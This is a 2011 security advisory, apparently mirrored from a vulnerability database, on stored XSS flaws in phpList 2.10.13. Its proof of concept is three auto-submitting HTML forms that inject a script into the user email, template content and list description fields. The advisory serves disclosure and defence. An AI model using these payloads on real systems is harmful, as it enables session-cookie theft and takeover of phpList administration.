Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:26221
HistoryApr 26, 2011 - 12:00 a.m.

HTB22956: XSS vulnerabilities in phpList

2011-04-2600:00:00
vulners.com
23

Vulnerability ID: HTB22956
Reference: http://www.htbridge.ch/advisory/xss_vulnerabilities_in_phplist.html
Product: phpList
Vendor: Tincan Ltd ( http://www.phplist.com/ )
Vulnerable Version: 2.10.13 and probably prior versions
Vendor Notification: 12 April 2011
Vulnerability Type: XSS
Risk level: Medium
Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ )

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerabilities exists due to failure in the "admin/commonlib/lib/userlib.php", "admin/template.php", "admin/editlist.php" scripts to properly sanitize user-supplied input in "email" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:
1.

<form action="http://host/admin/?page=user&amp;start=0&amp;id=USER_ID&amp;find=&amp;sortby=&amp;sortorder=desc&amp;unconfirmed=0&amp;blacklisted=0&quot; method="post" name="main" enctype="multipart/form-data">
<input type="hidden" name="formtoken" value="123">
<input type="hidden" name="list" value="">
<input type="hidden" name="id" value="USER_ID">
<input type="hidden" name="returnpage" value="">
<input type="hidden" name="returnoption" value="">
<input type="hidden" name="email" value='[email protected]"><script>alert(document.cookie)</script>'>
<input type="hidden" name="confirmed" value="1">
<input type="hidden" name="htmlemail" value="123">
<input type="hidden" name="rssfrequency" value="2">
<input type="hidden" name="password" value="test">
<input type="hidden" name="disabled" value="0">
<input type="hidden" name="extradata" value="add">
<input type="hidden" name="foreignkey" value="forkey">
<input type="hidden" name="change" value="Save Changes">
</form>
<script>
document.main.submit();
</script>

<form action="http://host/admin/?page=template&amp;id=TEMPLATE_ID&quot; method="post" name="main" enctype="multipart/form-data">
<input type="hidden" name="formtoken" value="123">
<input type="hidden" name="id" value="TEMPLATE_ID">
<input type="hidden" name="title" value="tplname">
<input type="hidden" name="file_template" value="">
<input type="hidden" name="content" value='<script>alert(document.cookie)</script>[CONTENT]'>
<input type="hidden" name="save" value="Save Changes">
</form>
<script>
document.main.submit();
</script>

<form action="http://host/admin/?page=editlist&amp;id=1&quot; method="post" name="main" enctype="multipart/form-data">
<input type="hidden" name="formtoken" value="123">
<input type="hidden" name="id" value="1">
<input type="hidden" name="listname" value="test2">
<input type="hidden" name="listorder" value="0">
<input type="hidden" name="owner" value="1">
<input type="hidden" name="description" value='List <script>alert(document.cookie)</script>[CONTENT]'>
<input type="hidden" name="save" value="Save">
</form>
<script>
document.main.submit();
</script>